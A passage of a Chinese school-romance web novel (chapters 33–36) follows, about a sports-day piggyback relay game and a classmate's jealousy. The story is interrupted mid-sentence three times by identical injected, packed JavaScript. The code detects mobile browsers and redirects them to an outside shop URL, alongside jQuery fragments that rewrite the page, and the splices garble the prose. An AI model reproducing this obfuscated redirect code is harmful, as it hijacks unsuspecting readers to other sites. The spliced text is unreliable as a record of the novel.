夏注心说我怎么知道？你是他同桌，我还没问你呢，你来问我？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16273529|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她错开肩膀甩开付少校，“肘子拿开，莫挨劳资，烦着呢！” “怎么了？” 夏注的目光落在队伍前端的沈通身上，全班只有他一人站着，中间没什么视线遮挡。 付少校顺着这个方向看去，看见沈通拧开矿泉水瓶仰头喝了一口，拧紧瓶盖，然后提着瓶子绕到另一边巡查去了。 付少校意味深长地哦了一声：“你去招惹沈通了？” 夏注：“什么叫招惹？他没收了我的伞！神经病么这不是，不准打伞我不打不就就行了？凭什么还要没收？反正我接受不了我的伞被充公，如果等活动结束了他不还来，我跟他没完……” 付少校：“好惨，不过你直接跟他要，估计没什么用，不如直接去找普老师。” 夏注心说那算了我丢不起这个人。 “那不用，夏姐，你回头直接去他位置上拿就行了！” 前排有个男生提醒说，“我每次都是自己去顺回来的，沈通看见了也不会多说什么。” 男生姓陈，好像是沈通那组的，夏注给他讲过几次数学题。 他说着，迈着小蹲步快速挪动，一路直线前进冲过来，像只横冲直撞的短腿鸭，“砰”一下撞飞付少校，给夏注递来一把自己折的小扇子。 夏注不接，他就主动凑上前给她扇风。笑得一脸谄媚：“夏姐，等下组个队吗？” 付少校大喊“我靠！”在草坪上打了个滚。 正在巡视的沈通听见动静，凌厉的目光立刻扫过来，三人齐刷刷缩了缩脖子，赶紧捂住嘴巴，蹲在后排装鹌鹑。 直到沈通转过去，夏注才小声问：“组什么队？” 校庆期间还要组队的吗？ 夏注以为又是升华班某种不成文的规定，比如不能单独行动，防止同班同学走散之类的。 付少校在旁边问：“团体游戏呀，每年第一场热身活动，你不知道吗？” 夏注想起来了：“两人三足比赛吗？” “对对对！”那男生连连点头，扇子都快扇出残影：“怎么样夏姐，咱们俩组个队呗？” 夏注：“这……玩这个好像是需要默契的吧？” 男生有点兴奋：“我觉得咱俩很有默契啊，你讲压轴题只消讲一遍我就懂了！” 夏注：“……” 你是从哪看出默契的，也就是对方给她扇风扇得殷勤，夏注不太好直接拒绝。 倒不是她嫌弃，两人三足的游戏不可能一个人上场，肯定得找个搭子，但主动挑人和随机组队二者肯定不一样。 组队可能意味着两人认识，且相互信任。 但自发约好一起上场，等于是告诉所有老师和同学，我们俩私底下关系很不错。 问题是她跟这位姓陈的同学，好像没熟到这个地步。 夏注正想着该怎么委婉一点拒绝，付少校忽然说：“我不太建议你俩组队……” “不是哥们，你话真多，谁问你了？” 姓陈的男同学啧一声，转头对夏注说：“夏姐你别理他，你就说你答不答应？” 夏注没答话，余光微动，付少校似乎也察觉到了。 他轻轻咳了一声，有点迟疑，最后还是劝她：“听我的没错！那什么，今年跟往年，有点不太一样……要不你等于支扬回来再说？” 34.第三十四章 男孩子有点想不通：“今年跟去年有什么不一样？夏姐等学委干啥，跟他有什么关系？” 夏注挑了挑眉，感觉付少校话里有话，然后就想起他是宣传部的，各种节目的第一手资料，他肯定早就知道了。 于支扬不久之前好像也跟她提过团体游戏，但后面的消息被撤回了，她也没看见。 估计是他们部门要求保密吧，可以理解。 “还是算了。” 夏注对那位同学说：“我觉得咱俩的……默契？可能还差挺多的，以后有机会再组队吧。” “好吧……” 男同学把扇子塞给她，自己垂头丧气挪回原位了。 夏注把头顶的外套扯下来，重新抖开，换了个面挡太阳。 “透露一下呗，今年的团体游戏到底有什么不一样？” 反正也马上要公布了，付少校觉得早说这一时半刻也没什么。 他指了指高三年级后面的那块空地，说：“喏，待会我们的游戏场地就在那。” 夏注伸长脖子看过去，那边用彩带隔开几条跑道，每隔一段立有一个小平台，上面插着红色旗子，旁边似乎还扯了网线。 “那是什么？”夏注问。 “竞赛设备和答题器。”付少校说，“今年我们两个升华班陪高三的一起玩。” 夏注：“哦？所以今年是纯脑力游戏啊？” 付少校：“不止脑力，还考验体力呢。男女生两人一队，不仅要答题，男生还得背着女生走过去。” 夏注：“……” 她总算知道付少校为什么拦着她了，好险，幸亏刚才没随口答应。 又过了十几分钟，台上的校领导讲话终于接近尾声，校长最后一位上台，宣布海城一中30周年校庆正式开幕。“接下来请各位班主任组织学生有序开展活动……” “解散了！杨宝儿快去给我们班占个好位置！杨……”队伍前排有女生站起来喊了几声，没人回应，回头一看，纳闷道：“诶？杨宝儿人呢？不在吗？” “二中学委会今天送篮球赛的名单过来，杨宝儿苗渔和于支扬他们几个去接待了。” 说话的人是班主任普芹，她站在队伍侧方招手道：“来来来，升华一班的过来集合，接下来是团体游戏时间，都过来！” 众人跟着班主任来到游戏场地，两个升华班加起来不到六十人，在高三十几个班面前，人数少得可怜。 “啥情况啊？咱们被并入高三了吗？” 升华二班有人小声问他们班主任：“老师，我们今年跟高三的比吗？有点欺负人了吧？” 至于谁欺负谁，还真不太好说。 升华班大部分学生都是从高一高二升上来的，成绩是高三的水准，但身高不是。 高三的各位学长学姐正值体力巅峰，但论做题速度，却远远比不上升华班特训出来的学霸又快又准。 普芹跟高三年级主任站在一起：“同学们，安静一下！高三年级组今年将开展「男背女接力赛」热身活动，经双方老师共同商议决定，今年升华班将与高三年级共同参与！” 场下一片哗然。 隔壁班三鲜有点难以置信，大声问：“我天！老师你确定吗？男背女？我们班男生行嘛哈哈哈哈……” 一班有女生跟着附和：“就是就是，我同桌连水瓶盖都拧不开！” “胡说八道什么！我那是给你表现的机会！”人群中立刻有男生反驳：“说谁不行呢，明明是你们女生太重！” “卧槽你说谁重？再说一遍试试！” “男人不能说不行！可恶！” 两边胜负欲太强，没说两句就开始争，二班班主任大声维持着纪律：“好了好了都别吵，先听普老师把规则讲完！” 普芹站在场地正中央，举起喇叭通报游戏规则：“升华班人数太少，暂时合并为一个班，男女生各自上前抽取配对号码，号码一样的，组成搭档参加比赛！” “比赛规则：裁判发出指令后，由男生背女生经过U型赛道，取回三面小旗子！每处取旗点设有学科问答，需要正确答题，才能拔出你们面前的红旗！” “答题期间不计时，可以弃权，每题只有一次答题机会！” “该游戏三个班为一轮，24人为一大组，单人次可以重复参赛。比赛过程中，不得往回走，不得偏离本班赛道，女生脚不得落地。 比赛结束之后，按照得到的红旗数量和比赛用时评分，大家听明白了吗？” 台下十几个班连声附和：“明白了！” “那好，大家准备一下，去找各班班主任抽取你们的号码！” 人群迅速散开，升华班男女生分开排队，站在盲盒箱面前抽号。 “我的妈呀，这个游戏好刺激，哪个神人想出来的敢这么玩？” 排在夏注前面的女生从刚才开始就一直很兴奋：“要是抽到跟于支扬一组，就他那答题速度，我简直躺赢！我TM还能出去吹一年！” 普星星啧啧两声：“别想了，于支扬还没回来呢，第一轮肯定是赶不上了。” 二班纪委排在后面，毫不避讳道：“沈通，沈通也行啊，真的好帅！要是能抽到就好了……” 沈通本人：“……” 麻烦，什么破游戏…… 夏注隔得老远，看见他推了推眼镜。心想就这么明目张胆的当面蛐蛐人，也是很没边界感了……结果一回头，更没边界感的来了。 刚才邀请她组队的那个男孩子一路小跑过来：“夏姐夏姐！组个队吗？我刚刚问老师了，如果双方同意的话可以组的！咱俩一对吧，我可以背你，这个我行！这个我真行！” 夏注：“……” 我知道你行，但我不是很行…… 付少校很及时的出现，把胳膊搭在那男生肩膀上，“算了吧哥们，别勉强？” “靠，你怎么又来了？关你什么事？” “不关我的事，只不过……”付少校停顿了一下，压低声音在他耳边说了一句话，夏注没听清。 只见那个男孩子脸色一变，先是一头雾水，随后惊疑不定地扫了一眼夏注，最后什么也没说，转身排队去了。 这么快就解决了？！ 夏注有点好奇：“你对他说了什么？” 付少校：“放心，反正没说你的坏话。” 前面已经有不少同学已经抽到球，两个班有交叉组队的，议论的声音一轮高过一轮。 “这个活动我喜欢！就是对胖子太不友好了呜呜呜……” “等等等等，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16284021|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！我能下一轮再参加吗？我想等苗渔……” “可以换成女生背男生吗？哈哈哈哈哈！” “我抽到了31号！谁是31？” “……” 长队又往前挪了几步，夏注发现付少校坐在凳子上没去排队，问他：“你是请假了吗？” 付少校点点头：“对啊，我这病不能剧烈运动的。” 他犹豫了几秒，觉得还是有必要问一句：“那什么，夏注，你要不要等一下于支扬？叫他回来背你？” “嗯？” 夏注的目光原本落在前方，闻言偏头看了他一眼。“为什么要等他？” 付少校不知道该怎么回答，他其实觉得自己这个问题本身就挺傻逼的。 毕竟于支扬从来没表现出什么，夏注也没想跟于支扬组队，这都是他们自己的事，跟他没有多大关系。 他觉得自己应该是前段时间受论坛上那些帖子的影响，时间一长，硬是把这两人看顺眼了。眼花缭乱的东西看多了就容易不辨是非，假的也能看成真的。 cp楼造谣害人不浅，果然于支扬出手整顿是对的…… 正当他以为夏注不会再追问时，忽然听见她笑了一声：“开什么玩笑，你又不是不知道于支扬多讨厌我？他就算现在在场，就算跟我抽到了同一个号，八成也会把球囫囵吞下肚，宁死不降，呵，他愿意背我那才是见了鬼……” 付少校：“……” 好像有点道理。 其实他以前也觉得于支扬很讨厌夏注，只是最近嘛……他也不太确定了。 于支扬和夏注他们俩现在应该算得上是……朋友？ 普芹从远处折返，大声提醒：“升华班现在人没齐，有一部分同学可能匹配不到！大家准备一下，前几轮先顶上，匹配不到的，可以重新抽！” 二班班主任补充道：“双方号码相同就是比赛搭档了！抽到谁就是谁，不得私下更换！” 长队一点点往前，很快就轮到夏注了，她把手伸进盲盒里拨动两圈，毫不犹豫抓住其中一只球拿出来，然后转身让出位置。 “你是几号啊夏注？”正在排队的人问她。 夏注没回答，双手捧着红色球，慢慢朝队伍后方走。 她小心翼翼屏住呼吸，轻轻移开遮挡着号码的那只手，露出底下一个清晰的数字：「7」。 是七号。 她把球举起来晃了一圈，大声问：“七号！有没有人是七号？” 操场上吵吵嚷嚷，许多目光朝这边看过来，但没有人回答。夏注又问了一遍，还是没有人站出来。 可能男生组没人抽到七号，夏注低头摩挲着那个数字，心想估计要重新抽了。 她正这么想着，周围忽然安静下来。 在她前方，有个白色背影缓缓转身，下一秒，单手把球高高举起。 半空中，黄色小球上赫然印着一个相同的数字：「7」 前方人群不约而同地让开一条通道，夏注抬起头，看见沈通站在尽头的空地上，手里的七号球举过头顶，正冷冰冰盯着她。 夏注：“……” 两人中间隔着一片哗然遥遥相对，夏注眼睛一动不动盯着那个数字，一句话也说不出来。 七号球，居然是沈通。 35.第三十五章 破球！怎么能手背到这种地步！ 她帮夏加林抽游戏卡的时候明明是想啥来啥，怎么现在是好运气耗光了吗？不然为什么闭着眼也能抽到沈通呢！ 沈通怎么可能愿意背她？ 夏注现在恨不得毁球灭迹，沈通这一回应，她感觉周围同学的目光都变得诡异了起来…… 沈通看她的眼神阴沉沉的，似乎也不太情愿。 夏注很难不担心自己的人身安全，内心疯狂咆哮着劳资一天之内跟他吵了两架，两架！万一他半路使诈摔死我怎么办？！ 怎么办呢，现在装病还来得及吗…… 对方走过来了，貌似已经来不及了。 夏注脑海飞速运转思考着该怎么办，想出来的办法却一条也行不通。当众拒绝组队只会让情况变得更复杂。 理智告诉她，当下应该老老实实参加游戏，顺便安慰一下自己：既然沈通没有偷偷把球藏起来，那是不是证明他还是愿意凑合一下的？ 沈通走到她面前停下，目光落在她手里那只红色小球上。 他脸上明明没什么变化，夏注却好像忽然间开了窍，明显感知到了他此刻不情不愿不耐烦的态度。 同样是反感，但却是跟于支扬完全不一样的气息。 于支扬向来是难以捕捉的、身上总有种忽远忽近的湍急，像水。沈通则是排山倒海压下来的那种厚重，像山。 两人就这么站着相互对视了一会儿，大眼瞪小眼，如果一直没人开口的话，就这样站到明天也不是没有可能。 最后还是夏注先妥协了，硬着头皮说：“那……合作愉快？” 沈通没理她，但总算动了一下，把她手里的红色小球拿走了。 夏注看见他拿着两个小球去班主任那边登记名字了。只微微侧首，留下一句：“别拖后腿。” 夏注：“……” 她在想如果现在去找沈通和解能有几分胜算？ 不过怕归怕，气势上不能输，夏注回怼道：“多操心你自己吧，我从来不会拖后腿，有本事你别使不上劲！” 沈通脚步停顿了一下，没说什么。 五分钟后，裁判通知第一轮参加游戏的同学入场。 普芹在入场前大声训话：“大家听好，还是那句老话，稳保前三的基础上力争第一！哪怕只是一场小游戏，大家也要尽力而为，拿出自己全部的实力来！” “好的普老师！” “知道了老师！” “明白明白！” 升华班第一轮的对手是高三170班和173班。 因为人数悬殊太大，刚一入场就被高三年级团团围观，那画面堪比一只羊入百狼窝，两个班加起来还不够人家塞牙缝的那种。 升华班的组队情况分分钟曝光于人前，群狼环伺，却不见有人慌张，反而一个个早就习以为常。 组队是抽签来的，顺序也是随便乱站的，高矮胖瘦随意穿插在一起，队形看着不太美观。 “26，27，28……” 高三年级的班委明目张胆地跑来观察升华班的站位情况，然后回去调整自己班学生的上场顺序。 173班的学委比较过分，直接抱着平板电脑点人头，对着照片一个个查名次。 她看了一会，喃喃自语道：“艹，不妙……沈通怎么抽到了夏注啊！” 一个主科杀手一个排名第二，这种组合一出来，还叫别人怎么玩？ 170班班长冷哼一声：“不止呢，他们班成绩最牛逼那几个好像都不在，也不知道背地里搞的什么阴谋……” 其实没什么阴谋，单纯有事迟到而已。 升华班这边有人故意抬高声势，大声吆喝：“普老师！普老师快来啊！让沈通和夏注他们俩第一个上！” “我同意！这两位凑一块打头阵，这得省下多少时间啊，接力赛不就拼个速度么？” “我也同意！让他俩先上，结果肯定毫无悬念，咱们两个班稳拿第一！” “不是两个班，咱现在都是一根绳上的蚂蚱谢谢……” 越来越多的人跟着附议，硬是把沈通和夏注推到了第一排，夏注都来不及拒绝。 — “哔——” 裁判老师吹响哨子，举起话筒道：“升华班、高三170班和173班！第一轮第一组，请做好准备！” “按照游戏规则，指令发出后，各班赛道不得交叉，女同学中途不得落地，所有选手不得干扰他人答题！接力中断或选手违规将取消本轮比赛资格，请各班安排好时间，游戏过程中安全第一！” 夏注和沈通并肩站在起跑线上，一个眼神交流也没有。看上去很没默契的姿态。 沈通是不爱说话，夏注则是不知道要说点什么。 从某些方面来说，沈通这个人身上有种特殊的魔力：再厉害的话匣子到了他面前也能乖乖闭上嘴。夏注实在不知道该找个什么话题。 隔壁赛道上那两个170班的选手似乎是对情侣，说话也不避人，叽叽喳喳个没完。女生一转头，下意识“卧槽”一声：“他们班第一组居然是沈通和夏注？！” “那咋了？” 她男朋友问。 女生脸色大变：“你说咋了？那可是升华一班的两个前十！！完球了，这种人的答题速度是正常人能比的么，才第一轮就碰上，岂不是死定了……” “啊真的假的，你别吓我……” 夏注：“……” 沈通：“……” 夏注想说其实没那么夸张，我离前十还差一丢丢。 裁判老师：“各就各位！现在请男同学背起女同学，准备好的小组举手示意！” 沈通终于有了反应，转头跟夏注对视了一眼，然后走到她前面，贴着起跑线内侧单膝跪地，侧首看她，说：“上来。” 周围响起一片克制不住的尖叫声。 夏注闭上眼睛，心说没事没事，班级荣誉排在前面，谅他也不敢当众怎么样。 她望着沈通蹲在地上宽大平稳的背影，同样的校服，同样的姿势……夏注眸光微动，忽然有些不合时宜的想到了于支扬。 她以前总是使唤于支扬背她，同时又默默怀疑自己是不是有什么大病，随时随地都想跟他黏在一块，就跟没骨头似的……然后羊sir给她科普了一大堆热恋期荷尔蒙作祟、生理性依赖之类，还大言不惭的把自己一顿夸夸，证明自己有多么招人喜欢…… 夏注觉得自恋也是病。 两人病情一致，莫名让一切不正常显得那么正常。 她后知后觉感到有点可惜，这样难得的比赛，于支扬居然不在。 转念一想，也幸亏于支扬不在。这可是一个绝佳的机会，一个让沈通出尽风头的好机会。 数生建模天生具有改造剧本的能力，最直接的方法就是改变角色的咖位次序。 也就是说她可以随意选中两个角色，帮助他们获得成就，提高地位，一点点把他们打造成新的男女主角，以此彻底打乱剧本。沈通无疑是最合适的男主角人选，成绩好，人气高，能省去不少时间。 这就是夏注这段时间以来想到的最有效的办法。 她现在要做的就是一步步提高沈通在剧本中的地位，让主角光环彻底朝他倾斜。 至于女主角应该选谁，夏注暂时还没有找到。 游戏即将开始，第一轮最容易拉开差距，所以她跟沈通一定要赢。 夏注深吸一口气，走过去，轻轻俯身趴在沈通的后背上，把手搭上去，然后说：“我好了，你起来吧。” 沈通没动，冷声说：“先抓紧。” 夏注：“嗯？我抓紧了呀。” 她话音刚落，就听见沈通十分无语地“啧”了一声，转瞬即逝，夏注险些怀疑是自己听错了。 夏注：“……” “啧”是什么意思？这反应确定是自愿背她的吗？ 夏注把两只手搭在他的肩膀上，准确来说不是搭，而是揪着，揪的还是衬衫布料，右手还情不自禁翘了个兰花指。 沈通终于忍无可忍，嗓音带了点愠怒：“搂我！” “不用了吧，我觉得这样也挺稳的……” 她是真觉得自己重心挺稳的，以前哪怕两只手都没空闲，于支扬也照样能把她背起来。 沈通说完这句，还是一动不动，也不再催第二遍。夏注就以这个姿势趴在他身上僵持了几秒，心底终于生出了一丝丝尴尬。 就在此时，隔壁班那对情侣已经站起来了，可能是姿势没调好的缘故，男生一站起来就摇摇晃晃后退了几步。 女生被吓了一跳，紧紧圈住他的脖子，大声喊着：“别晃！你TM别晃！” 那男生险些被勒断气，呛了一句：“尼玛……你下手轻一点！我脖子要被你勒断了！” 女生：“不搂紧一点我早就掉下去了！你别晃啊，你要是稳当点我搂你干嘛？！” “我知道了你别乱动了！” 夏注：“……” 沈通：“……” 夏注：很晃吗？ 沈通：很疼吗？ 二人相互对视一眼，沈通移开目光，小声说：“其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16296077|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实不搂也……？！” 话音未落，夏注的两条手臂已经抢先一步圈住了他的脖子，手腕一不小心擦过他的侧颈，那触感又软又凉。 沈通瞳孔陡然一震，愣住了。 下一秒，夏注的声音在他耳边响起，带了点忐忑不安：“那什么……我还是搂吧，你别晃听见没有？” 不知是不是今天的阳光过分灼热，脚下的塑胶跑道开始一阵一阵散发出滚烫的气息。 夏注圈着他的脖子，稍微低下头，如瀑般的长发瞬间层层叠叠垂落下来，发梢扫过他的耳根，倏地浮起一抹粉红。 沈通僵着脖子适应了一会儿，感觉脸皮隐隐发烫，眼前镜片都快热模糊了…… 女孩子洗发水的香气密密麻麻地涌入鼻腔，将他紊乱的思绪包裹在内。沈通短暂呼吸了两下，控制不住了，然后…… “阿嚏！” 夏注吓了一跳：“……” 尼玛……下次打喷嚏前能不能先把我放下谢谢？ “不好意思啊，我今天没带发圈，我先前不知道会玩这个游戏，下次我一定把头发扎起来。” 夏注说。 沈通微微皱眉：“下次？” 夏注听出他语调有点不耐烦，心说这叫什么态度？难不成背我还委屈你了？你以为我很想让你背吗？ “不，没有下次了。” 她说着，腾出一只手把自己的长发理到耳后，一字一句道：“我保证，你以后再、也、不、用背我！” 沈通冷哼一声，不做评价。把手绕到后面扣住自己的手腕，膝盖离地，很容易就把夏注背起来，轻轻颠了一下。 夏注举手示意裁判：“报告，升华班准备好了！” 裁判：“收到，另外两个班动作快点！” 升华班是率先准备好的，其他两个班的选手尝试了几次，可能是默契不足吧，一直没有调整到最佳状态。 173班的学委举手示意道：“报告老师，我们班想临时换个人，稍等一分钟！” 170班那个男同学也跟着打报告：“老师等一下，我系一下鞋带！” “动作快点！” 大概因为第一轮是决胜的关键，裁判给足了准备时间，也没有多说什么。倒是身后正在观看的学生先急了。 普星星在后面大声催促：“搞什么啊，故意的吧？你们两个班能不能快一点？别耽误时间！” 其他人也跟着附和：“快点快点，故意消耗人体力嘛这不是……” 沈通背着夏注站在起跑线上，没理会周围人的声音，目光直视前方，一动不动。夏注也安安静静趴在他后背上，一声不吭…… 两个人同时沉默着，连呼吸都带着点微妙的尴尬。 夏注实在绷不住了，小声问：“沈通？你还背得动吗？要不先把我放下来？” 沈通没应声。 “喂，你说句话呀……” 还是不应声，夏注真服了，动动嘴型骂了一句“有病”，继续耐着性子，说出了从刚才就一直想说的话：“沈通，要不咱俩和解吧？” “我保证，咱俩认识这么久以来我从来就没有骗过你，上次报名纪律部的人真不是我！是我朋友窦菲干的，她就在170班，现在就站在你四点钟方向，你要是不信的话可以当面对质啊……” 沈通：“……” 怎么还是不说话！！ 让她一个人自言自语很尴尬的好么，这人到底懂不懂点最起码的社交尊重？？ 夏注气得深吸一口气，然后故意收紧手臂，把沈通搂得更紧，压低嗓音凑到他耳边挑衅说：“沈通？小沈？小部长？你到底听见没？听见的话，吱一声啊？” “？！！” 蛊惑的气息吹在耳边有点痒痒的，沈通下意识一缩，全身僵得像铁。 他迅速偏过头，稀里糊涂“嗯”了一声，耳根红透了。 夏注似乎也察觉到了他的不自然，稍稍移开距离，带着点教唆的笑意，又问：“那你这次相信我了吗？” “嗯。” “你别光说「嗯」，你到底信不信？” “信。” “那咱们两现在算是和解了吧？” “嗯。” 夏注总算满意地勾起嘴角，放轻了手臂上力道，让他能够自由呼吸，笑道：“那就行，那待会儿游戏开始之后，你负责走位，我负责答题，咱俩争取两分钟内拿下，行吗？” 沈通：“行。” 其他两个班刚好做好准备打完报告，裁判吹响两声口哨音，“各就各位！预备——” “哔——！” 36.第三十六章 科技楼三楼办公室，几位部长接待完二中代表的时候，操场那边的校领导讲话已经结束很久了。 一行人匆匆忙忙往回赶。 杨宝儿一路上还在跟人拌嘴：“说了多少遍要记得看时间，为什么就不能上个闹钟？差点忘了正事！” 其他几个体育生不服气：“打球不也是正事吗？下个月就要比赛了，多问几句还有错了？你先搞清楚轻重缓急啊姐姐，游戏重要还是球赛重要？” 杨宝儿：“去尼玛的轻重缓急，事情也要分个先来后到的懂不懂？对手的资料什么时候不能研究啊，谁规定必须今天看完？” “说得好像是我强迫你们看一样，你们升华班有本事把名额还回来呀，牛逼什么……” “别吵了。”苗渔出声劝止：“你们几个念叨一路了还有完没完？” 几人又呛了几句嘴，各自分开找自己班去了。 于支扬从刚才开始就一直在低头看手机，露天操场上全是人，苗渔停下脚步，转头问他：“普老师有没有说我们应该去哪汇合？” “去找高三，今年的团体游戏跟高三一起玩。”于支扬头也不抬，在前面带路，苗渔和杨宝儿赶紧跟上。 高三年级组织的「男背女接力赛」单独占了一片空地，可能是活动比较创新的原因，吸引来不少高一高二的学生一起观看。 内圈挤不进去，他们三个在外层绕了一会儿，听见里面接二连三传来裁判的发令枪的声响。 “加油加油！180班加油！” “178班加油！啊啊啊啊啊小心！” 正在比赛的班级很多，呐喊助威的强度一阵高过一阵，好多班级一起高呼，场面有点混乱。 于支扬一回头，发现刚才跟在他后面的两个女生已经不知道被挤到哪里去了。 他又朝前走了一段，终于听到了“升华班加油”的声音。 “沈通加油！沈通好帅！夏注加油！我靠我靠牛逼！” “下一题！题目是什么快查一下，谁有望远镜啊快点拿出来！这种时候别藏着掖着！” “A还是B？A吗？AAA！选A！夏注快选A！” “别瞎嚷嚷！不是A！夏注不要听他们的！尼玛，那些人在故意捣乱！” 这些人喊的什么玩意儿？？ 于支扬听得一头雾水，眉毛越皱越紧，伸长了脖子朝里边看。 他站在高年级人堆里已经是很突出都高个子，可前方除了攒动的人头，什么也看不到。 “加油加油！夏注加油！沈通加油！” 于支扬听到这，心底升起一丝微妙的烦躁。加快脚步拨开人群，越是靠近内场，周围同学的喝彩声越是激动，灌进他耳朵里越是一团乱麻。 直到他终于看见了自己班的队伍，隔着一大截，他的目光一瞬间锁定在U型赛道最远处的那双人影上。 他一眼就看见夏注不知为什么跑到沈通背上去了，还紧紧搂着他的脖子，姿态无比亲昵，另一只手举着一面红旗甩来甩去，激动地大喊：“选C选C！这题绝对选C！啊啊啊啊啊答对了！” 于支扬瞪大双眼，缓缓冒出一句：“……………艹？” 是他眼花了吗？？ 夏注怎么跑到沈通的背上去了？！ 她还搂着他？搂着他！！ 为什么？这什么情况！他就离开一小会，到底发生了什么？ 于支扬脑子里有根弦突然“啪嗒”一下断了，顷刻间怒火中烧，当场暴起：“沈通你TM…挖我墙角！！” 他简直不敢多想，发疯一般挤开挡在前面的人想要往前冲，大声咆哮着：“学校哪家食堂卖煤气！他妈的煤气吸多了你出来雷人！沈通……沈通！你TM！大白天的！挖墙脚！你缺不缺德？脑壳没找到配套的垃圾桶老子可以给你埋土里！靠！你TM要不要脸？！让开！” 在一片震耳欲聋的鼓掌和欢呼中，他的怒火被人声完全淹没。 旁边有好几个人疑惑地看向他，但终究没听清他说了什么。 “让开！都让开！夏注！夏——唔！！” 于支扬不断横冲直撞往前挤，直到有双手从后面死死捂住了他的嘴巴。 “别喊了！嫌不嫌丢人啊！” 付少校在他后面使劲拽他，扯着嗓子大喊：“走走走！先跟我走！待会儿再跟你解释！别在这添乱！” 于支扬活像只失去理智的藏羚羊，扑腾个没完，付少校一路连拖带拽还险些没拉住。 “干嘛干嘛！干嘛呢！放开我！我问你干嘛呢！你凭什么拦我？” 到了食堂后面人少的地方，付少校可算敢放开手任他叫唤，于支扬气得拳头咯咯作响：“什么情况？他们在搞什么？这到底什么情况你说清楚！” 付少校累得气喘吁吁，一屁股坐在地上，白眼快翻天上去了：“你TM复读机啊？先冷静点行吗？你看不出来吗他俩在比赛啊！” 于支扬脸色铁青，一字一字问，“为什么非得沈通去背夏注！” “男背女接力赛啊，你不是早就知道了？” “什么破比赛！夏注还那样……搂着他？搂着他！需要那样吗？！你看见没有？你看没看见他俩多亲密？” “看见了，所以呢？” 于支扬一时语塞。 付少校摇了摇头，随手捡起一片树叶子扇风，声音有点虚浮：“那没办法，他俩抽到了一组啊，可能他俩比较有缘吧，这也……” 于支扬的声音让人不寒而栗：“你再说一遍，谁跟谁有缘？” “……”付少校吓得身体一抖，赶紧把话吞回去。他感觉自己再多说一句，于支扬很有可能会从身后掏出两把菜刀把他砍成渣渣…… 他算是看出来了，今天的于支扬很不寻常，毕竟都到这份上了，再看不出来那他就是真瞎。 实在没想到啊，他于哥这次居然就这么栽了，难怪他先前就老觉得于支扬对某些小事关注过度了，这样一来全解释得通了。 这TM不就是情窦初开拐着弯窥伺喜欢的人？甭管他是镇楼大佬还是吊车尾学渣，只要上了心，通通都一个样！ “对不起了兄弟我口误……” 他哈哈笑了两声，云淡风轻道：“不过你也别多想，既然他俩抽到了也没办法啊，谁叫你刚才不在？比赛都已经开始了，你可别去捣乱，否则就真不知轻重了！放宽心哈！” 怎么放宽心？别人背的又不是你喜欢的女孩！！ 于支扬完全听不进去，好半天还是没法冷静下来，气得眼前发黑，哐哐拿脑袋撞树。 他现在心里后悔得要死，刚刚他为什么不在为什么不在为什么不在…… 付少校听见声音，回头“卧槽”一声，赶紧站起来拉他：“轻点轻点！别撞了你！这棵老黄花梨树挺贵的，咱赔不起！反正就是个游戏而已呀，你至于这么较真？我劝你一句啊，你最好赶紧冷静下来，追女孩这个事要趁早，越快越好，你不知道刚才有多少男生想背夏注来着……” — 升华班接力赛第一轮的欢呼声响彻全场，很多低年级的学生自发跑过来观看，场面越发壮观。 【恭喜你，答题正确！】 “哦耶！第二题搞定！” 夏注和沈通一口气拿下了两面红旗，场上无数人高呼着沈通和夏注的名字。 “沈通加油！夏注加油啊啊啊啊啊啊！升华班牛逼！永远的神！” “卧槽，卧槽已经拿下两面红旗了！怎么这么快？才一分半啊……” 高三170班班长急得上蹿下跳，这TM哪是体育比赛？这明明就是脑力碾压！太欺负人了！ 夏注晃动着手里两面小旗子，兴奋到恨不得跳下来蹦两下。只要能在两分钟之内抵达终点，沈通这次个人赛第一名肯定就稳了！也不枉费她忙活一场。 “升华班加油！加油！啊啊啊啊升华班遥遥领先！开题！开题！” 在人群后方，草坪上掉落的彩带、拉花和纸团遍地都是。 于支扬站在人堆里，目不转睛盯着远处正紧紧挨着的沈通和夏注，一身戾气让人退避三舍。 他弯腰捡起地上掉落的一面三角形小旗子，紧紧攥在手里。 听着周围人不断加油喝彩的声音，心里烦躁得不行，暗骂夏注这个白痴女人，要是跟他组队的话，早就已经赢了！ “真是破……” “破游戏！！” 有人抢先一步骂出了他的心声，于支扬转头看去，杨宝儿站在他不远处，手里也攥着一面三角形的小旗。 杨宝儿嗓门大，旁边人听得清清楚楚：“凭什么让沈通背她啊？凭什么？要是我刚刚在的话就好了！我宣布这TM是今年最没品最有病的游戏！气死了怎么还不结束！” “别说了杨宝儿，别说了，小声点！” 